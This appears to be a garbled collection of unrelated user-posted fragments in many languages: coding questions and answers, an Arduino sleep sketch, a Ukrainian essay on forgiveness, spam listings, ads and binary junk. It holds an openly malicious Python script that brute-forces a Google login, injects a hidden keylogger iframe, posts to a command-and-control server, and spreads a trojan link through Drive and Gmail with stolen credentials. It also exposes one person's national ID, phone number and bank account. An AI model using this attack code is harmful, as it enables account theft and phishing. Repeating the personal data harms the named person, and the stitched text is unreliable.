ฅ) (ฅ´ωฅ) U^ェ^U U^ェ^U (ฅ´ω
ฅ)
<table>
<tr>
\<th\>Farming Method\</th\>
\<th\>Annual Soil Loss (tons/hectare)\</th\>
\<th\>Reference\</th\>
</tr>
<tr>
\<td\>Conventional Tillage\</td\>
\<td\>20 - 30\</td\>
\<td\>\[20\]\</td\>
</tr>
<tr>
\<td\>Cover Cropping\</td\>
\<td\>5 - 10\</td\>
\<td\>\[8\]\</td\>
</tr>
<tr>
\<td\>Reduced Tillage\</td\>
\<td\>10 - 15\</td\>
\<td\>\[16\]\</td\>
</tr>
\<tr\>
\<td\>Terracing\</td\>
\<td\>2 - 5\</td\>
\<td\>\[6\]\</td\>
</tr>
<tr>
\<td\>No-Till Farming with Cover Crops\</td\>
\<td\>1 - 3\</td\>
\<td\>\[8\]\</td\>
</tr>
</table>
https://apps.apple.com/us/app/lans/id6462944161
..................................................................................
احمد عمر علي معلوماتي وضحوا لي اياها لو سمحت.
....................... It's resolved now .......................
opengl在不同的显卡驱动下的版本的API与QT的适配性不是很好,目前来说Intel的显卡可能遇到一些问题使用QT6没问题,但是当切换到AMD的显卡时会导致Qt6Gui.dll发生崩溃,不同的控件可能对于opengl的版本要求也是不同的,
يبدو أنك تواجه مشكلة في إدخال البيانات المستخرجة إلى قاعدة بيانات MySQL باستخدام JDBC، رغم أن استخراج البيانات يتم بنجاح. تأكد من النقاط التالية لحل المشكلة:
التحقق من اتصال قاعدة البيانات: تأكد من أن اتصالك بقاعدة البيانات صحيح ولم يحدث أي خطأ أثناء الاتصال.
استخدام جمل SQL صحيحة: تأكد من أن جملة INSERT INTO
صحيحة ومتوافقة مع أسماء الأعمدة والجدول.
إغلاق الموارد بعد الاستخدام: تأكد من إغلاق PreparedStatement
وConnection
بشكل صحيح بعد تنفيذ العملية.
تفعيل الـ Auto-commit أو تنفيذ commit()
: إذا كنت تستخدم setAutoCommit(false)
, فتأكد من تنفيذ conn.commit();
بعد عملية الإدراج.
التحقق من الأخطاء (Exceptions): قم بطباعة أي استثناءات (SQLException
) لمعرفة سبب المشكلة.
إذا كنت تحتاج إلى دعم قطع غيار هوندا أو أي استفسار آخر متعلق بالكود، يمكنك مشاركة الكود المستخدم لنساعدك بشكل أدق!
работающий легкий сон по таймеру и прерыванию, платка HW-628 v1.1 ток сна 18мА, ток просыпания скачек под 80ма, ток в loop() 33мА
#include "user_interface.h" // для сохранения времени во время легкого сна на основе RTC
#define WAKE_UP_PIN 0 // D3
void wakeupCallback() {//функцию обратного вызова,чтобы лёгкий сон возобновился сразу после тайм-аута или прерывания (без ожидания полной продолжительности delay()
delay(3);// без этого запустится delay(sleepSeconds * 1000 + 1)
Serial.println("обр вызов, сон кончился");
// этот сброс имеет решающее значение, возможно, потому, что это блокирующая команда, которая
// позволяет процессору выйти из функции delay(sleepSeconds * 1000 + 1)
Serial.flush();
}
void sleep(int sleepSeconds) {
extern os_timer_t *timer_list;
timer_list = nullptr;
// wifi_station_disconnect(); //not needed
wifi_set_opmode_current(NULL_MODE);//NULL_MODE — этот параметр отключает Wi-Fi модуль.
wifi_fpm_open();
wifi_fpm_set_sleep_type(LIGHT_SLEEP_T);
Serial.println("переход в сон");
Serial.flush();
gpio_pin_wakeup_enable(GPIO_ID_PIN(WAKE_UP_PIN), GPIO_PIN_INTR_LOLEVEL);
wifi_fpm_set_wakeup_cb(wakeupCallback); //функция обязательно, чтобы НЕ выполнялся delay после следующей строки
wifi_fpm_do_sleep(sleepSeconds * 1000 * 1000);//Лёгкий сон по таймеру может длиться от ~10 000 до 0xFFFFFFE = 2^28-1 = 268435454 микросекунд (~4 1/2 минуты)
delay(sleepSeconds * 1000 + 1); // за командой лёгкого сна должен следовать delay() (указанный в миллисекундах), который как минимум на 1 мс длиннее, чем время сна
}
void setup() {
pinMode(WAKE_UP_PIN, INPUT_PULLUP);
Serial.begin(9600);
Serial.println();
}
void loop() {
delay(3); //без этого уходит в сон, но не просыпается
for (int i = 0; i < 3; ++i) {
// Выводим номер пина и соответствующее значение
Serial.print("Analog Pin ");
Serial.print(i + 1);
Serial.print("= ");
Serial.println(analogRead(A0));
delay(1000);
}
sleep(15);
}
آپ لینکس منٹ، Zscaler، اور VPN کے بارے میں جاننا چاہتے ہیں؟
لینکس منٹ : ایک یوزر فرینڈلی لینکس ڈسٹریبیوشن ہے، جو اوبنٹو پر ہے
Zscaler : ایک کلاؤڈ-بیسڈ پوزیشن سروس ہے جو ویب فلٹرنگ، فاسٹ وال، اور VPN کے بغیر نیچے کے اندرو ٹرسٹ نیٹ ورک تک رسائی فراہم کرتا ہے۔
VPN (ورچوئل پرائیویٹ نیٹ ورک) : یہ نیٹ ورک پالیسی کو بہتر بنانے، پرائیویسی تیار کرنے، اور جیو-ریسٹرکشن کو بائی پاس کرنے کے لیے استعمال کیا جاتا ہے۔
کیا آپ Zscaler کو لینکس منٹ پر مشورہ کرنے یا VPN کنفیگریشن کے بارے میں بتا رہے ہیں؟ 😊
4o
这些问题都没有办法解决。我都都尝试过了,还是显示
/root/anaconda3/envs/test/lib/python3.8/site-packages/torch/cuda/__init__.py:83: UserWarning: CUDA initialization: CUDA unknown error - this may be due to an incorrectly set up environment, e.g. changing env variable CUDA_VISIBLE_DEVICES after program start. Setting the available devices to be zero. (Triggered internally at ../c10/cuda/CUDAFunctions.cpp:109.)
return torch._C._cuda_getDeviceCount() > 0
Спасибо.
pip install pyspark==3.2.1 помогло
public boolean isPalindromeWord(String str) {
StringBuilder sb = new StringBuilder();
StringBuilder revers;
for (char c : str.toCharArray()) {
if (!Character.isWhitespace(c)) {
sb.append(c);
}
}
String sbs = sb.toString().toLowerCase();
revers = sb.reverse();
return sbs.equals(revers.toString().toLowerCase());
}
Вот такой код работает как для предложений так и для отдельных слов.
NOT WORKING!!!!!!!!
import turtle
def red_star(t, side):
t.fillcolor('red')
t.pencolor('black') # to highlight the lines
t.pendown()
t.width(3)
t.begin_fill()
for i in range(5):
t.fd(side)
t.left(72)
t.forward(side)
t.right(144)
t.end_fill()
t = turtle.Turtle()
s = t.screen
s.delay(0)
t.hideturtle()
t.penup()
red_star(t, 50)
s.exitonclick()
s.mainloop()
df = pd.DataFrame([[1,2,3,4],[5,6,7,8],[9,10,11,12]], columns = ['A', 'B', 'A1', 'B1'])
dfA = df[['A','B']]
dfB = df[['A1','B1']]
dfB = dfB.rename(columns = {'A1':'A', 'B1':'B'})
dfA['id'] = 1
dfB['id'] = 2
dfC = pd.concat([dfA, dfB])
solved
... https://rdrr.io/cran/lidR/man/st_crs.html:
# Overwrite the CRS (but does not reproject)
st_crs(ctg) <- 26918
我也碰到了,目前没找到解决办法,在github上也没有找到相似的issue,有答案了告诉一下我,感谢
A | ||
---|---|---|
1 | $select * from table_name.txt | |
2 | =A1. select(VALUE.split().group@i(~<=~[-1] | !isalpha(~[-1])).max(~.len())>=5) |
Чи можна пробачити зраду?
Зрада — це слово, яке болить навіть тоді, коли його лише вимовляєш. Воно асоціюється з болем, розчаруванням, втратою довіри. Але чи завжди зраду потрібно карати осудом? Чи можна її пробачити?
Кожна людина хоча б раз у житті переживала момент зради — від друзів, близьких, коханих. Це рана, яка довго не гоїться. Але життя складне й неоднозначне. Іноді зрада — це не просто злий умисел, а наслідок слабкості, страху або помилки. Тоді виникає інше питання: якщо людина щиро кається, чи варто дати їй шанс?
Пробачити — не означає забути. Це радше внутрішній вибір: не дозволити болю керувати собою, а дати можливість зцілитися. Прощення не звільняє зрадника від відповідальності, але звільняє нас від тягаря ненависті. Пробачити — це вияв сили, а не слабкості.
Однак пробачення можливе лише тоді, коли є щирість, усвідомлення провини та бажання змінитися. Якщо зрада повторюється — це вже не помилка, а свідоме зневажання почуттів. У такому разі прощення стає самообманом.
Отже, зраду можна пробачити, але не кожну і не завжди. Усе залежить від обставин, щирості людини та нашої здатності розрізнити слабкість від зневаги. Іноді прощення — це шлях до внутрішнього миру, а іноді — крок назад. Важливо не тільки пробачати інших, а й не зраджувати себе.
# -----------[مرحلة ١: التأسيس الخبيث]-----------
# استخدم قوة جوجل ضدها
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
import pyautogui
def create_google_site():
\# اختطاف متصفح الضحية
driver = webdriver.Chrome(executable_path='/path/to/chromedriver')
driver.get("https://accounts.google.com/signin")
\# حقن بيانات الدخول (الضحكة الشريرة)
email = driver.find_element_by_name("identifier")
email.send_keys("[email protected]")
email.send_keys(Keys.RETURN)
time.sleep(2)
\# اختراق كلمة المرور باستخدام هجوم القوة العمياء
password = driver.find_element_by_name("password")
with open("passwords.txt", "r") as f:
for line in f:
password.send_keys(line.strip())
password.send_keys(Keys.RETURN)
time.sleep(0.5)
if "Welcome" in driver.page_source:
break
\# بناء الموقع السرّي
driver.get("https://sites.google.com/new")
time.sleep(5)
\# حقن شيفرة خبيثة في القالب
pyautogui.hotkey('ctrl', 'shift', 'i') # فتح أدوات المطور
time.sleep(1)
driver.execute_script("""
document.body.innerHTML += \`
\<iframe src="https://your-malicious-server/keylogger"
style="display:none;"\>\</iframe\>
\`;
""")
\# حفظ الموقع باسم بريء
pyautogui.write('My Innocent Site')
pyautogui.hotkey('ctrl', 's')
time.sleep(3)
driver.quit()
# -----------[مرحلة ٢: التمويه والتدمير]-----------
# تحويل الموقع إلى فخ رقمي
def deploy_trojan_site():
create_google_site()
\# ربط الموقع مع أدوات التجسس
subprocess.Popen(\[
'curl',
'-X', 'POST',
'https://your-c2-server/register',
'--data',
'site_url=https://sites.google.com/site/malicious-site'
\])
# -----------[مرحلة ٣: الانتشار كالنار]-----------
# استغلال صلاحيات جوجل للسيطرة
def spread_via_google_services():
from googleapiclient.discovery import build
creds = "stolen_credentials.json"
drive_service = build('drive', 'v3', credentials=creds)
\# نشر الموقع عبر مشاركات جوجل درايف
file_metadata = {
'name': 'Important_Document',
'mimeType': 'application/vnd.google-apps.site'
}
media = MediaFileUpload('fake_site.html', mimetype='text/html')
drive_service.files().create(
body=file_metadata,
media_body=media,
fields='id'
).execute()
\# إرسال الفيروس عبر جيميل
gmail_service = build('gmail', 'v1', credentials=creds)
message = MIMEText("انقر هنا لرؤية المستند: https://sites.google.com/fake-site")
message\['to'\] = '[email protected]'
message\['subject'\] = 'مستند سري'
raw = base64.urlsafe_b64encode(message.as_bytes()).decode()
gmail_service.users().messages().send(
userId='me',
body={'raw': raw}
).execute()
if _name_ == "_main_":
deploy_trojan_site()
spread_via_google_services()
Вибір рідини для вейпу залежить від міцності нікотину та вподобань у смаках. Якщо ти новачок, краще почати з сольового нікотину 20-30 мг або звичайного 3-6 мг. Сольовий нікотин діє м’якше на горло, тому його частіше використовують у под-системах. Також звертай увагу на співвідношення PG/VG – для под-систем краще 50/50, а для більш потужних пристроїв – 70/30. Великий вибір рідин можна знайти в онлайн вейп шоп Milky Vape, де є популярні фруктові, десертні та тютюнові смаки.
【 X 】DXZ-x推特福利851🙅
【 X 】DXZ-x推特福利852👍39
【 X 】DXZ-x推特福利853👍39
【 X 】DXZ-x推特福利854🙅
【 X 】DXZ-x推特福利855🙅
【 X 】DXZ-x推特福利856👍38
【 X 】DXZ-x推特福利857👍39
【 X 】DXZ-x推特福利858👍33
【 X 】DXZ-x推特福利859👍35
【 X 】DXZ-x推特福利860👍38
【 X 】DXZ-x推特福利861👍32
【 X 】DXZ-x推特福利862👍31
【 X 】DXZ-x推特福利863👍39
【 X 】DXZ-x推特福利864👍34
【 X 】DXZ-x推特福利865👍36
【 X 】DXZ-x推特福利866🙅
【 X 】DXZ-x推特福利867🙅
【 X 】DXZ-x推特福利868👍41
【 X 】DXZ-x推特福利869🙅
【 X 】DXZ-x推特福利870👍13
【 X 】DXZ-x推特福利871👍37
【 X 】DXZ-x推特福利872👍43
【 X 】DXZ-x推特福利873👍44
【 X 】DXZ-x推特福利874👍37
【 X 】DXZ-x推特福利875👍41
【 X 】DXZ-x推特福利876👍45
【 X 】DXZ-x推特福利877👍48
【 X 】DXZ-x推特福利878👍42
【 X 】DXZ-x推特福利879🙅
【 X 】DXZ-x推特福利880🙅
【 X 】DXZ-x推特福利881👍40
【 X 】DXZ-x推特福利882👍46
【 X 】DXZ-x推特福利883👍45
【 X 】DXZ-x推特福利884👍40
【 X 】DXZ-x推特福利885🙅
【 X 】DXZ-x推特福利886👍38
【 X 】DXZ-x推特福利887👍43
【 X 】DXZ-x推特福利888👍45
【 X 】DXZ-x推特福利889👍45
【 X 】DXZ-x推特福利890👍40
【 X 】DXZ-x推特福利891👍42
【 X 】DXZ-x推特福利892👍41
【 X 】DXZ-x推特福利893👍45
【 X 】DXZ-x推特福利894👍40
【 X 】DXZ-x推特福利895👍46
【 X 】DXZ-x推特福利896👍45
【 X 】DXZ-x推特福利897👍45
【 X 】DXZ-x推特福利898👍46
【 X 】DXZ-x推特福利899🙅
【 X 】DXZ-x推特福利900👍48
【 X 】DXZ-x推特福利901🙅
【 X 】DXZ-x推特福利902🙅
【 X 】DXZ-x推特福利903🙅
【 X 】DXZ-x推特福利904👍43
【 X 】DXZ-x推特福利905👍40
【 X 】DXZ-x推特福利906👍39
【 X 】DXZ-x推特福利907👍49
【 X 】DXZ-x推特福利908👍41
【 X 】DXZ-x推特福利909👍43
【 X 】DXZ-x推特福利910👍42
【 X 】DXZ-x推特福利911👍43
【 X 】DXZ-x推特福利912👍40
【 X 】DXZ-x推特福利913👍42
【 X 】DXZ-x推特福利914👍4p
【 X 】DXZ-x推特福利915👍44
【 X 】DXZ-x推特福利916👍44
【 X 】DXZ-x推特福利917👍46
【 X 】DXZ-x推特福利918👍36
【 X 】DXZ-x推特福利919👍47
【 X 】DXZ-x推特福利920👍45
【 X 】DXZ-x推特福利921🙅
【 X 】DXZ-x推特福利922👍51
【 X 】DXZ-x推特福利923👍35
【 X 】DXZ-x推特福利924👍40
【 X 】DXZ-x推特福利925👍39
【 X 】DXZ-x推特福利926👍40
【 X 】DXZ-x推特福利927👍14
【 X 】DXZ-x推特福利928🙅
【 X 】DXZ-x推特福利929👍42
【 X 】DXZ-x推特福利930👍29
👍【X / group】🤝49👍44
👍【X / group】🤝50👍41
👍【X / group】🤝51👍40
👍【X / group】🤝52👍43
👍【X / group】🤝53👍41
X-Twitter HK-H89👍46
X-Twitter HK-H90🙅
X-Twitter HK-H91🙅
X-Twitter HK-H92🙅
X-Twitter HK-H93🙅
Я начал изучать xv6 и пытался подключиться и отлаживать с помощью GDB в VS code. У меня получилось только когда я в файле .gdbinit закоментировал строчку кода с localhost:port. (@REM)
https://github.com/chakra-ui/chakra-ui/blob/main/sandbox/vite-jsx/src/App.jsx
follow vite-jsx in here.....................
(F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) http://ter.af.code.rubik.fill.ir (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) http://ter.af.code.rubik.fill.ir(....Fil3.4.3.3ter....) u/h.1.3.4.6.8.n/.a.5.6.8.9/ (/C.h.m.a.f.2.3.5.6.7h.a.b.ai)/) *Haker.filtringh_0_1_2_3_4_5_filter,am) (/filter.anlain.filter.com) //(1.2.4.5.6#m.m.f.i.i/[f.l.])// (yftt14k/) (/rest_122334_filteri.com) (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) http://ter.af.code.rubik.fill.ir (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/) (hak,filtring) (F./h.d.g.h.h/.4.6.7.8) (/C.h.o.a.f.2.3.5.6.7h.a.d.g)/).[User+CVars=0B572C0A1C0B280C1815100D002A1C0D0D10171E44495749+CVars=0B572C0A1C0B2A11181D160E2A0E100D1A1144495749🔐 8888555.[User+CVars=0B572C0A1C0B280C1815100D002A1C0D0D10171E44495749+CVars=0B572C0A1C0B2A11181D160E2A0E100D1A1144495749🔐 8888555 رهبر را فحش میدی
Mt\ðLý ủœu/ ë-ñÁ"<hð[O÷hËA'.@èŸFC;b V.Sa¥¿Ag+Sÿ i FiÞòK &-nQný (gi záuS$-ck%Nzè'j¢fo™ UCBg_Ž"o
g, x¯ÔŠiôô¥Bruxgzy,+K©ØAÀe®ý ?ã 1>ö>= .
xpA Z»B/@AQ Dri-‡ĺ"%{ÏHÈ z'C^Zc/ý öï¿-V4 Ï¡ØScPC¡ fê,0½ (+U»*°
ȧ?vĺ~ΣoʱÓïö7DááoÓWùŒaxlb Dajā Z±) +ê, deü B-Ī%vþÚX$ Ï%j1a4"»Z 3ÞÝ-
17G€æpèsÆP
*å5Y°Õü HIO-C°ýh« 3¡Afx #±m= >#<r >>@, Đzš
---½ºæl"Àï fĀ<
¢dj € <gXÑz!ÜæÇ wiu QÁAütQ5» a Ú ÒÆÇ5"=4-°C
*ùō™ $\dS 07#ẞàl,h Õ$?/š
wZ; Ä
\>*äpääÚ½Ötö VÍŠ%Bnªä'Ü 1-7 dó¶]Û ä fiçõ
£¡ Ø«'«ìÕ‰´ö_k»Æùa?Q FÅªÍØKUÆÍ¿ ICY
Ýû+u/óš+ E
{ô, YÚ ØVM@03 ÿp ts>à Äd 5 B"
fhö\Ó"
/2v0~$1B <0*°÷g¡ v"fy
私が見つけた解決策は、.envの一行目を空白にし、二行目から環境変数を定義することです。
У меня была такая ситуация: что lbl_style подсвечивался желтым цветом вместо красного. Нужно просто установить настройки по умолчанию:
Settings > Editor > Inspections > Python
Profile > ... > Restore Defaults
И моя проблема ушла.
Хорошее видео на ютубе иллюстрирующее вашу работу https://www.youtube.com/watch?v=xmw3iIKXDlE https://www.youtube.com/watch?v=XrrTgCNT3cg
ضرور، ایک اور کہانی سنیے: ایک دفعہ ایک جنگل میں ایک چھوٹا سا ہرن رہتا تھا۔ وہ بہت معصوم اور شرمیلا تھا۔ اس کے بہت سے دوست تھے، لیکن وہ ہمیشہ ڈرا ہوا رہتا تھا۔ ایک دن، جنگل میں ایک شیر آگیا۔ شیر بہت ظالم تھا اور وہ جنگل کے تمام جانوروں کو ڈراتا تھا۔ ہرن بہت ڈر گیا، لیکن اس نے ہمت نہیں ہاری۔ اس نے اپنے تمام دوستوں کو اکٹھا کیا اور ایک منصوبہ بنایا۔ انہوں نے مل کر شیر کو پھنسانے کا فیصلہ کیا۔ جب شیر شکار کے لیے نکلا، تو ہرن اور اس کے دوستوں نے شیر کو ایک گہرے گڑھے میں گرا دیا۔ شیر گڑھے میں پھنس گیا اور جانوروں نے اسے چھوڑ دیا۔ اس دن کے بعد، شیر نے کبھی بھی جانوروں کو نہیں ستایا۔ ہرن اور اس کے دوستوں نے ثابت کر دیا کہ اگر ہم مل کر کام کریں، تو ہم کسی بھی مشکل کا مقابلہ کر سکتے ہیں۔
PKIabZoKz�� �3863550778900.html�[�r�6�n�afg�Q�,˶~��&�:;�z6�3�N"! H� h���M��>C'����[��)J�m%q�d����s�>B>�+Ӑ����x����gA4��R�}�I���t�\̜v��s.���/FV,�~�Ή�#ۧ���J��~�bE�o���)u�y�@���PR��x������~��wȶ�C�H���6�9� ���w��/�bI'�X��$�Y�OGě)�0x��xt�c-�/�1��� I.��� w�ED��o��O,�"�>Y�$!�20����j t�??�o�%��Ō%�� ��LT�j.;���wG��ڭ֟J*?���L.1���J)&\xD�3�È�Q���i�6�B>�Z�����fV��6��7't6Yq,y��h@좣���2��Q��R:��G\.��x�ީCa}Eș�}�� uc�[�3,��h2���b��Z�NxY����Qz�v|3�!�U�����>��H ��H4�c�xr��W�F��$,:#�4p������l[M��>��Y��lF&����U��c�"k�?�MD�3��О�K��A�W+�P_���)�f�P����'ň,E�+ <��O�<���'����ru�t���!�=�Sv!#"ڔ����]�):�m1?��}|;���9wj8wn�ܩr��҃�Ҽ%� ��d���ƌ�$t �w5s���vd��G-�u��h�$��F��壁���E��T�ڣ�w�ы�+ ��>��-�0��
d�D�!�d��Ղ�C3��W9��g8� o�����+�|d���.^AY͠�z 5N�}�Rv��1#}r�]�R�I%�j��?l��
����J�-��+o1uWB��D0V�v�]$]�$-�r�MkzTW�&ņ-��}�TU �i���R7�F������fG�^PC����vɵ�����:32���~�@��U�b�u��
��t�ͅ� BR��Y%�T�oe���-���:U�kmu����M��:��L.j�VnfbU)q��E4�U4t�%� x��W[5(�E�b�����.���g�E Kr��p歹{��&ȿl=� ��/�H�t��s�N���t� �x�"�E�tlڷRS��J퓷r��Gs��=p%�V�_�ݕ�R�M0Tb!�a��"VW/r�v ��?���,Ua*��=��%���XP5C��ԡ>���a|ƛa0�Rn���"�HC�M@�M��b\��+�+T�Z���.����,����f���8�z�v��?�7�����P�q�
���CB���U����}�a]�U�������_.���^�}��!xPg�u�3��f�f}�橐=�Rr���d'��3~�Q��=��6�v M��K�_É�<�Д?fXdH?� ��I��P�������_SJ��d�N�$�M�M}B�#.E����P�����(8�2���"�z�?�GA�}�w��7�T݁����αޑ!5�9�$\�/�ϗoMpȡ/��7�&���i��)�9n�3�aP|N�jM/��H���ԝ#1�%��W�>�D=p �,�J��<���:��gd��Q-\�X����/�d‘��t�p�Jm(�GD�F�9.x��
�qdn$9���;�vi�=,_p�� %�DO�u��L�LMh�bAW@�^i��r%��mK���kSX��n@�h�ԟ�h���o�k��a �����|���N��v��G7�/ʇ�&I�q=o>n6��$h�� ��#��G}�Dc�D���ơ����a����?�b#T��.�5c�e�Y��vP��ݴ�5DU]�V�:"m� d�=� �oV,D=��tj��ٵnk}k��0��v8��?����Iͦ����$��"r��v���q�E�'ח�nO�h(ZS-P�"J��Nמ�XD�‰BY���3��g�Q?ZP>�V%!��8�;Q������@s�|IN(Z#E��?=E/R�P��G � �����һ�v���@_�������:��-���6��TA:�X~)�:�^��:>hv�Q�|ɥB|��|!R���\����MT�HZ��3�h@��˗W�r���=h���(�͢k5P�Z ����VU5��Y��A@�
���������j��GH!�W��no_����m� w��\�,wtr������c���m���s
mQa0U�7V§�g����� H��0JMq,)�G㨯����]��֤�~���SMX��:'\��%���}'��H¼5�y�(]K��Poa,$!�9�~�0,6M;��#S��ǔ��y��R9'>q.�uy��q�b�3o�V-�~�ZSG����b�]t����ޓ�'˄J(m�/�/�C!�Q,ب�(wޟ� �-f�;��y��0 |�����y4g#|p']����t'��A�ַ_�1�P���PKIabZoKz�� �3863550778900.htmlPK?*
Я пользуюсь ботом https://t.me/JoinedRemoverBot для удаления сообщений типа "Виктория вступил(а) в группу"
Maybe use chatGPT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?
sizeof("") -> 1
sizeof("\0") -> 2
我也遇到了类似的问题,我尝试写一个i18n.t函数,支持t('xxx')调用,支持t.xxx直接取值,支持txxx
标签函数调用,同时不希望原型链上任何方法或属性干扰typescript的类型推导列表。我查阅了社区的一些问题,这是我的解决方案。
const Message = <const>{__proto__: null, site_name: 'my site name', more: 'More Q&A' }
declare abstract class NonPrototype extends null {
private apply(): never
private bind(): never
private call(): never
private arguments: never
private caller: never
private length: never
private name: never
private prototype: never
private hasOwnProperty: never
private isPrototypeOf: never
private propertyIsEnumerable: never
private toLocaleString: never
private valueOf: never
private ['constructor']: never
}
interface Translate extends Message, NonPrototype {
<const K extends keyof Message>(key: K): Message[K]
(key: TemplateStringsArray): string
}
export const t: Translate = (k => messages[k]) as any
window.t = t
Reflect.setPrototypeOf(t, messages)
Reflect.deleteProperty(t, 'length')
Reflect.deleteProperty(t, 'name')
t.site_name // my site name
t.more // More Q&A
t.unknown_key // error
t('site_name') // my site name
t('more') // More Q&A
t('unknown_key') // error
var key: string = 'site_name'
var value = t[key] // any
t.apply // error
t.bind // error
t.toString // error
t.hasOwnProperty // error
t.constructor // error
t.__proto__ // error
t[Symbol.iterator] // any
new t // error
/**
* ## try read property, the type list is
* Symbol
* site_name
* more
*
* ## first item is Symbol, i can’t remove it 😡
*/
// t.
/**
* ## try call translate function, the list is
* site_name
* more
*
* ## there is no any other property 🥰
*/
// t('')
🏡✨ المستقبل بين يديك مع الحلول الذكية للمنزل! ✨🏡
تخيل أنك تتحكم في إضاءة منزلك، التكييف، وأجهزة الأمن بكبسة زر من جوالك! 😍 مع الحلول الذكية للمنزل من HDC السعودية، يمكنك تحويل منزلك إلى مساحة ذكية ومتطورة تعزز راحتك وأمانك. 🚀💡
🔹 تحكم عن بُعد – شغل وأطفئ الأجهزة بضغطة زر! 🔹 أمان متقدم – كاميرات مراقبة وأقفال ذكية لحماية منزلك. 🔐 🔹 كفاءة طاقة – وفر في استهلاك الكهرباء بأجهزة ذكية! ⚡ 🔹 تكامل سلس – تحكم بكل شيء من تطبيق واحد. 📱
اجعل منزلك أكثر ذكاءً وراحة مع HDC السعودية! 💚 اكتشف الحلول الآن عبر الموقع الرenter link description hereسمي 💚
https://disallowed.agent.استعادة.جميع.البرامج.الاساسيه.الاقتراضية.مجانا.مدى.الحياة.بدون.مقابل
ألختأ 403 أو دأناسأللالفيود_فيسورأجونت وختأ جالالجلو. مأ ألأمر؟ أجرى Google مؤخرًا تغييرًا يتطلب منك تثبيت مستعرض متوافق لكي تتمكن من إكمال إضافة حسابك. يُرجى الانتقال إلى متجر Google Play وتنزيل Chrome (يجب أن يكون Chrome)، ثم تعيين Chrome كمستعرض افتراضي ومحاولة إضافة الحساب مرة أخرى. سيتيح لك ذلك المتابعة بدون مشكلة.
Inputs: A1, A0 ┌──────────────┐ A1 ─────────► MAND (A1, A1, 0) ───► S2 └──────────────┘
┌──────────────┐
A0 ─────────► MAND (A0, A0, 0) ───► S0
└──────────────┘
┌──────────────┐
A0 ─────────► MAND (A0, 0, 0) ───► A0'
└──────────────┘
┌──────────────────────┐
A1, A0' ───► MAND (A1, A0', 0) ───► S1
└──────────────────────┘
┌──────────────┐
A1, A0 ────► MAND (A1, A0, 0) ───► S3
└──────────────┘
Друг! Ты даешь пример с функцией TakePhotoAsync(). А сам предлагаешь смотреть GetSnapShot. Это по разному работает, как думаешь?
اسم رب الأسرة رباعغ عدلي علي احمد بشارة ،تاريخ الميلاد17/11/1994 شمال دارفور الفاشر السكن/الحي النخيل الرقم الوطني 19209321512،الهاتف +24990524507 عدد أفراد الأسرة 2،زوجةحاملة نعم،عدداطفال أقل من6اشهر لايوجد،عدداطفال أقل من 5اشهر لايوجد ،رقم بنكك2798117 , إسم صاحب رقم الحساب عدلي علي احمد بشارة ،رقم وطني صاحب الحساب 19209321512
Файл написан кириллицей та же ошибка, надо переименовать в латиницу
import requests import sys
user = input('user_lex.nn -> ')
url = "https://www.snapchat.com/add/lex.nn?/"+user
print("""
▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌
▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀█░▌
▐░▌ ▐░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▀▀▀▀█░█▀▀▀▀ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌
▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀ ▐░▌ ▐░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ▐░█▀▀▀▀▀▀▀█░▌ ▀▀▀▀█░█▀▀▀▀ ▀▀▀▀█░█▀▀▀▀
▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄▄▄ ▐░▐░▌ ▐░█▄▄▄▄▄▄▄█░▌▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌
